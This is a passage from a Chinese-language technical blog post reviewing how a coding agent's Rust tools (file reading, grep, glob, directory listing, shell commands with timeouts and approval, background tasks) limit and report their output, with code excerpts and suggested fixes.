<span class="w">            </span><span class="nb">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">break</span><span class="p">,</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="p">(</span><span class="n">kept</span><span class="p">,</span><span class="w"> </span><span class="n">total</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


它必须继续读完（而不是直接停止读取），否则子进程会因管道写满而阻塞。所以「丢弃」在这里是「读走但不留」，而不是「不读」。返回的 <code>total</code> 就是用来算省略量的。这个函数在三个地方被复用：<code>shell.rs</code>（前台命令）、<code>tasks.rs</code>（后台任务）、<code>git.rs</code>（git 输出），只是各自的 <code>CAPTURE_BYTES</code> 不同。
<h2>read_file：4 MB 的准入门与 2000 行的窗口</h2>

<code>read_file</code> 是使用频率最高的工具，也是唯一一个用「拒绝」而不是「截断」来保护自己的读取工具：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">meta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fs</span><span class="p">::</span><span class="n">metadata</span><span class="p">(</span><span class="o">&amp;</span><span class="n">full</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="k">if</span><span class="w"> </span><span class="n">meta</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">MAX_FILE_BYTES</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span>
<span class="w">        </span><span class="s">&quot;{} is {} bytes (&gt; {}); read it in chunks with offset/limit&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="n">full</span><span class="p">.</span><span class="n">display</span><span class="p">(),</span><span class="w"> </span><span class="n">meta</span><span class="p">.</span><span class="n">len</span><span class="p">(),</span><span class="w"> </span><span class="n">MAX_FILE_BYTES</span>
<span class="w">    </span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div>


错误信息里给了明确的下一步动作：<code>read it in chunks with offset/limit</code>。这比「文件太大」有用得多——它把模型从「我该怎么办」直接引到「用 offset 和 limit」。

<code>MAX_FILE_BYTES = 4 MB</code> 这个数字怎么来的？它不是输出预算，而是<strong>内存预算</strong>。文件会被完整读进内存再按行切分，所以 4 MB 对应的是「单次分配 4 MB 是安全的」。真正的输出预算由后面两层管：2000 行的默认窗口，以及出口的 20,000 字节 <code>clamp</code>。

两者的关系值得算一遍。一个 3.5 MB、每行 100 字节的日志约 35,000 行；默认读前 2000 行约 200 KB，出口 <code>clamp</code> 再切到 20,000 字节，也就是约 200 行。于是模型以为自己要了 2000 行，实际只拿到 200 行加一条截断标注——不注意看标注，它就会基于前 200 行下结论。

更彻底的做法有两种：把 <code>limit</code> 默认值降到跟输出预算匹配（比如 300），让「请求的行数」和「拿到的行数」大致一致；或者在截断标注里写明「本文件共 N 行，你看到的是前 M 行」。NanoHermes 只做了后者的一半（有标注、默认值没调），代价是模型得自己换算。

窗口读的实现里还有一个易错的表达式：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">offset</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">limit</span><span class="p">).</span><span class="n">min</span><span class="p">(</span><span class="n">total</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">width</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">end</span><span class="p">.</span><span class="n">to_string</span><span class="p">().</span><span class="n">len</span><span class="p">();</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">line</span><span class="p">)</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">lines</span><span class="p">[(</span><span class="n">offset</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="o">..</span><span class="n">end</span><span class="p">].</span><span class="n">iter</span><span class="p">().</span><span class="n">enumerate</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">n</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">i</span><span class="p">;</span>
<span class="w">    </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{n:&gt;width$}→{line}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div>


行号右对齐的宽度取自 <code>end</code>（窗口最后一行号）而不是 <code>total</code>（文件总行数）：读第 1 到 2000 行时宽度是 4，只读第 1 到 9 行时宽度就是 1。列宽随窗口变化，不同次调用的对齐方式不一致——对模型影响很小（它读数字），但人把两次输出拼起来看 diff 时会有点干扰。
<h2>read_file 的三个细节：行号宽度、lossy 解码、二进制</h2>

除了行号宽度，<code>read_file</code> 还有两个行为值得单独说。

<strong>第一，是 <code>from_utf8_lossy</code> 而不是严格解码。</strong> 如果文件里有非法 UTF-8 字节（GBK 编码的中文文本、损坏的日志、二进制混入），<code>lossy</code> 会把这些字节替换成 <code>U+FFFD</code> 而不是报错。对 Agent 来说这是对的选择：宁可让模型看到几个替换字符，也不要因为一个坏字节整个文件读不出来。

<strong>第二，<code>read_file</code> 不做二进制检测，而 <code>grep</code> 做。</strong>
<div class="codehilite"><pre><span></span><code><span class="sd">/// Exposed for reuse by the search module.</span>
<span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">is_binary</span><span class="p">(</span><span class="n">bytes</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="p">[</span><span class="kt">u8</span><span class="p">])</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">bytes</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">take</span><span class="p">(</span><span class="mi">8192</span><span class="p">).</span><span class="n">any</span><span class="p">(</span><span class="o">|&amp;</span><span class="n">b</span><span class="o">|</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


这个函数只被 <code>grep</code> 调用。<code>read_file</code> 拿到一个 2 MB 的 PNG（在 4 MB 准入门之内）会照读不误，返回一大段带 <code>` 的乱码，然后被</code>clamp<code>截到 20,000 字节。模型通常能自己意识到这是二进制文件，但这一轮基本浪费了。修法只需在</code>read_file<code>里加同一句</code>is_binary(&amp;bytes)<code>检查并返回</code>Err("… looks like a binary file")`：判据是「前 8192 字节里有 NUL 字节」，对真正的文本文件零误报，对绝大多数二进制文件都能命中——一行修一个类。
<h2>grep：200 条命中与 240 字符裁剪</h2>

<code>grep</code> 是唯一同时有四重限制的工具：
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">MAX_MATCHES</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">200</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="n">MAX_FILES</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">500</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="n">MAX_FILE_BYTES</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1024</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="n">MAX_LINE_CHARS</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">240</span><span class="p">;</span>
</code></pre></div>

<div class="table-scroll"><table>
<thead>
<tr>
<th>限制</th>
<th>值</th>
<th>作用点</th>
<th>触发的输出</th>
</tr>
</thead>
<tbody>
<tr>
<td>命中条数</td>
<td>200</td>
<td>内层循环，达标即刻停止遍历</td>
<td><code>… stopped after 200 matches</code></td>
</tr>
<tr>
<td>单文件体积</td>
<td>1 MB</td>
<td>进入文件前判断</td>
<td>无提示（静默跳过）</td>
</tr>
<tr>
<td>单行长度</td>
<td>240</td>
<td>匹配成功后的行裁剪</td>
<td>行尾 <code>…</code></td>
</tr>
<tr>
<td>文件数</td>
<td>500</td>
<td>——</td>
<td>只在 <code>glob</code> 里用，<code>grep</code> 不用</td>
</tr>
</tbody>
</table></div>

命中条数的实现有一个细节值得学：
<div class="codehilite"><pre><span></span><code><span class="n">for_each_file</span><span class="p">(</span><span class="o">&amp;</span><span class="n">base</span><span class="p">,</span><span class="w"> </span><span class="o">|</span><span class="n">path</span><span class="p">,</span><span class="w"> </span><span class="n">rel</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">truncated</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">hay</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">needle</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{}:{}:{}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">rel</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">clip</span><span class="p">(</span><span class="n">line</span><span class="p">)));</span>
<span class="w">        </span><span class="n">hits</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">hits</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="n">MAX_MATCHES</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">truncated</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">            </span><span class="k">return</span><span class="p">;</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">});</span>
</code></pre></div>


用 <code>truncated</code> 标志而不是 <code>break</code>——因为 <code>for_each_file</code> 接收的是闭包，闭包里没法写 <code>break</code>。第一行的 <code>if truncated { return }</code> 让后续文件在闭包入口就直接返回，效果等同于提前终止遍历，但遍历本身还在走（每个剩余文件都要进一次闭包）。对大仓库来说这会多走一些空转，代价可接受。

输出格式是 <code>path:line:text</code>，路径用相对路径并把反斜杠统一换成 <code>/</code>（<code>replace('\\', "/")</code>）。统一成正斜杠让输出跨平台一致，模型不用区分两种路径风格，也不会把反斜杠和分隔冒号混在一起（虽然 Windows 盘符的 <code>C:</code> 仍有歧义）。

还有一个性能隐患：大小写不敏感搜索对每一行都做一次 <code>to_lowercase()</code>，两个分配加两次遍历，一万行的文件就是几万次小分配。更快的做法是无分配的 <code>eq_ignore_ascii_case</code> 匹配。这不影响正确性，但 <code>grep</code> 是使用频率最高的工具之一，值得优化。
<h2>grep 没有文件数上限</h2>

<code>MAX_FILES = 500</code> 只出现在 <code>glob</code> 里。<code>grep</code> 遍历时不限制文件数——它只靠 <code>MAX_MATCHES</code> 兜底。

最坏场景是：在一个有 50 万个文件的目录树里搜一个几乎不存在的字符串。<code>grep</code> 会走遍每个文件（每个都做一次 <code>fs::read</code>），最后返回 <code>no matches</code>，中间可能耗掉几分钟。没有超时，没有文件数上限，也没有进度输出。<code>glob</code> 至少从第 501 个匹配起不再收集，虽然遍历同样继续。Agent 通常在项目根目录搜索，文件数在几千量级，所以这不是紧急问题；但如果工作区里有一个没被忽略规则覆盖的巨大生成目录，<code>grep</code> 就会变成一次「不返回的操作」。改进方向有两个：给 <code>for_each_file</code> 加已访问文件计数并提前终止；把忽略目录改成可配置。

顺带说一个设计上的优点：<code>grep</code> 的 <code>include</code> 参数走 <code>path_matches</code>，会同时尝试匹配相对路径和文件名：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">path_matches</span><span class="p">(</span><span class="n">pattern</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">rel</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">glob_match</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span><span class="w"> </span><span class="n">rel</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">rel</span><span class="p">.</span><span class="n">rsplit</span><span class="p">(</span><span class="sc">&#39;/&#39;</span><span class="p">).</span><span class="n">next</span><span class="p">().</span><span class="n">unwrap_or</span><span class="p">(</span><span class="n">rel</span><span class="p">);</span>
<span class="w">    </span><span class="n">glob_match</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


所以 <code>include: "*.rs"</code> 能匹配 <code>src/main.rs</code>（用文件名匹配），<code>include: "src/**/*.ts"</code> 也能匹配（用相对路径匹配）。这个双路尝试让模型不用纠结「我该写相对路径还是文件名」，是一个很实用的小设计。
<h2>glob：500 个文件与一条假消息</h2>

<code>glob</code> 的分段匹配器有三条规则：模式用完了必须路径也用完（<code>*.rs</code> 不匹配 <code>src/main.rs</code>）；<code>**</code> 可以吃零到多段（<code>src/**/*.rs</code> 能匹配 <code>src/main.rs</code>）；普通段用 <code>*</code> 和 <code>?</code> 做段内通配（<code>*</code> 不跨 <code>/</code>）。单元测试把这三条都锁住了。

<code>for_each_file</code> 用的是显式栈而不是递归：不会因深层目录栈溢出，而且「先把条目收完再下降」避免了持有 <code>read_dir</code> 句柄时同时递归的资源问题。

最后是那条假消息。截断判断用的是：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">matches</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="n">MAX_FILES</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;</span><span class="se">\n</span><span class="s">… capped at {MAX_FILES} files&quot;</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div>


条件是 <code>&gt;=</code> 500。如果一个项目恰好有 500 个匹配文件（没有第 501 个），输出照样附上「已截断到 500 个」，模型会以为还有更多，去用别的办法继续找。正确判据应该是「是否因为达到上限而没收集到某个匹配」——在超出分支里把 <code>overflowed</code> 置真即可。差别只在边界情况，但「假截断」比「不截断」更容易误导：它让模型主动放弃已经拿到的完整结果。
<h2>list_dir：唯一没有上限的读取工具</h2>

<code>list_dir</code> 是这套工具里唯一一个完全不做内部限制的读取工具：列出目录下所有条目，靠出口 <code>clamp</code> 兜底。后果可以推算：5000 个文件、每行约 40 字符，总输出约 200 KB，<code>clamp</code> 切到 20,000 字节后只剩约 500 行，目录的后 90% 完全不可见。

这和 <code>read_file</code> 处理大文件的方式形成对比：<code>read_file</code> 会报错让模型分块读，<code>list_dir</code> 则默默给前 500 条，而且没有分页参数（只有 <code>path</code>），模型想「看第 501 到 1000 条」只能换个更深的子目录。典型用法（看看项目有什么）没问题，但面对构建产物、数据集这类大目录时，它会给出一幅误导性的「不完整全景」。低成本改法是加一条 300 条的内部上限，结尾注明「共 N 个条目，显示前 300」。

另一个小问题是每个文件的大小用 <code>human_size</code>（<code>1.5 MB</code> 这种）输出。对人友好，但 <code>1048576</code> 变成 <code>1.0 MB</code> 后，模型想找最大的几个文件得先解析单位再比较。这不是错，是「为谁优化」的选择。
<h2>run_command：256 KB × 2 与超时</h2>

<code>run_command</code> 是能力最强也最危险的工具。它的预算设计有四处：
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">CAPTURE_BYTES</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">256</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span>
</code></pre></div>

<div class="table-scroll"><table>
<thead>
<tr>
<th>约束</th>
<th>值</th>
<th>触发后的行为</th>
</tr>
</thead>
<tbody>
<tr>
<td>每个流的捕获量</td>
<td>256 KB</td>
<td>排空丢弃，报告里说明省略字节数</td>
</tr>
<tr>
<td>超时</td>
<td>默认 120s，clamp 到 1..3600</td>
<td>杀进程，报告 <code>command timed out after Ns and was killed</code></td>
</tr>
<tr>
<td>工作目录</td>
<td>默认工作区根目录</td>
<td><code>resolve</code> 到绝对路径</td>
</tr>
<tr>
<td>输出结构</td>
<td>exit code + stdout 段 + stderr 段</td>
<td>空流显示 <code>(empty)</code></td>
</tr>
</tbody>
</table></div>

256 KB 是「每个流」，所以理论最坏是 512 KB，然后又会被出口 <code>clamp</code> 收到 20,000 字节。也就是说 <code>read_capped</code> 的 256 KB 几乎从不成为用户可见的限制——它只是防止内存被一条刷屏命令吃掉。

真正会被用户看到的是超时。超时的实现是轮询：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">exit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">loop</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">try_wait</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="nb">Some</span><span class="p">(</span><span class="n">status</span><span class="p">))</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">break</span><span class="w"> </span><span class="n">status</span><span class="p">.</span><span class="n">code</span><span class="p">(),</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="nb">None</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="n">start</span><span class="p">.</span><span class="n">elapsed</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="n">Duration</span><span class="p">::</span><span class="n">from_secs</span><span class="p">(</span><span class="n">timeout</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="kd">let</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">kill</span><span class="p">();</span>
<span class="w">                </span><span class="kd">let</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">wait</span><span class="p">();</span>
<span class="w">                </span><span class="n">timed_out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">                </span><span class="k">break</span><span class="w"> </span><span class="nb">None</span><span class="p">;</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">            </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">sleep</span><span class="p">(</span><span class="n">Duration</span><span class="p">::</span><span class="n">from_millis</span><span class="p">(</span><span class="mi">25</span><span class="p">));</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;failed to wait for command: {e}&quot;</span><span class="p">)),</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">};</span>
</code></pre></div>


25 毫秒的轮询在灵活（能实现超时）和省 CPU 之间折中，精度约 ±25 ms，对秒级超时够用。<code>kill()</code> 后紧跟 <code>wait()</code> 也是必要的：只发信号不回收会留下僵尸进程。超时时 <code>exit</code> 是 <code>None</code>，报告写成 <code>exit code: killed</code>，让模型能区分正常失败和被超时杀掉。

<code>run_command</code> 还是少数会主动调用审批的工具：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="k">crate</span><span class="p">::</span><span class="n">sandbox</span><span class="p">::</span><span class="n">needs_approval</span><span class="p">(</span><span class="n">ctx</span><span class="p">.</span><span class="n">auto_approve</span><span class="p">,</span><span class="w"> </span><span class="n">ctx</span><span class="p">.</span><span class="n">approval</span><span class="p">,</span><span class="w"> </span><span class="n">command</span><span class="p">)</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="n">confirm</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="s">&quot;Command denied by the user. Do not retry it; ask what to do instead.&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div>


这里返回的是 <code>Ok</code> 而不是 <code>Err</code>，且文本里明确写了两条指令：<code>Do not retry it</code>（别重试）和 <code>ask what to do instead</code>（问用户）。把拒绝做成「一条给模型看的指令」而不是「一个错误」，是这套设计里最聪明的几处之一——因为对模型来说，「用户拒绝」和「命令失败」需要完全不同的反应：前者要停下来问，后者可以换命令重试。如果返回 <code>Err</code> 并写成通用错误，模型很可能把被拒绝的命令换个写法再试一次，而这正是用户拒绝的意图所在。
<h2>双线程排空：为什么不能先 wait 再 read</h2>

<code>run_command</code> 里有一段看起来多余的代码：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">out_pipe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">take</span><span class="p">().</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;stdout piped&quot;</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">err_pipe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stderr</span><span class="p">.</span><span class="n">take</span><span class="p">().</span><span class="n">expect</span><span class="p">(</span><span class="s">&quot;stderr piped&quot;</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">out_thread</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="n">out_pipe</span><span class="p">));</span>
<span class="kd">let</span><span class="w"> </span><span class="n">err_thread</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="n">err_pipe</span><span class="p">));</span>
</code></pre></div>


为什么不能直接 <code>child.wait_with_output()</code>？因为那会等到进程退出才开始读输出。而管道缓冲区有上限（Linux 通常 64 KB），一个输出超过 64 KB 的子进程会在写管道时阻塞，永远不退出——于是 <code>wait</code> 永远不返回。这就是经典的管道死锁。

两个线程各读一个流，主线程只负责等待和超时判断。这样即使子进程输出几兆，管道也不会被填满（因为一直有人在读走）。注释里写得很直白：
<div class="codehilite"><pre><span></span><code><span class="c1">// Drain both pipes on separate threads so a chatty child can never deadlock</span>
<span class="c1">// by filling the OS pipe buffer while we wait for it to exit.</span>
</code></pre></div>


这个模式在 <code>git.rs</code> 里被复用了一次（<code>git diff</code> 也可能输出几兆），在 <code>tasks.rs</code> 里则没有复用——这个差异正是下一节要说的缺陷。
<h2>后台任务：把长命令移出关键路径</h2>

前台 <code>run_command</code> 的超时上限是 3600 秒，但即使在范围内，让模型干等一次 <code>cargo build</code> 也不划算：这一轮的所有时间都花在等命令上，而模型其实可以去读代码、写文档，最后再回来收结果。

所以有 <code>background: true</code>：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;background&quot;</span><span class="p">).</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">v</span><span class="o">|</span><span class="w"> </span><span class="n">v</span><span class="p">.</span><span class="n">as_bool</span><span class="p">()).</span><span class="n">unwrap_or</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="k">super</span><span class="p">::</span><span class="n">tasks</span><span class="p">::</span><span class="n">run_background</span><span class="p">(</span><span class="n">args</span><span class="p">,</span><span class="w"> </span><span class="n">ctx</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


后台任务的注册表住在 <code>Ctx</code> 里，被所有工具共享，用 <code>Mutex&lt;HashMap&lt;String, Task&gt;&gt;</code> 保护：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">TaskManager</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">tasks</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="n">HashMap</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="n">Task</span><span class="o">&gt;&gt;</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


任务 id 是「进程 id + 纳秒时间戳」。用纳秒而不是自增计数器，是为了同一毫秒内启动多个任务时不冲突，也省掉一个全局计数器；带进程 id 则是让<strong>跨进程</strong>的日志能看出任务属于哪个 agent 实例。

配套的三个管理工具形成完整的生命周期：<code>task_list</code> 看有哪些任务和状态，<code>task_output</code> 收增量输出，<code>task_kill</code> 终止。<code>output()</code> 的实现是「drain 增量」而不是「返回全量」：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">output</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">task_id</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">map</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">tasks</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">task</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">map</span><span class="p">.</span><span class="n">get_mut</span><span class="p">(</span><span class="n">task_id</span><span class="p">).</span><span class="n">ok_or</span><span class="p">(</span><span class="cm">/* unknown task */</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">child</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">task</span><span class="p">.</span><span class="n">child</span><span class="p">.</span><span class="n">as_mut</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">take</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
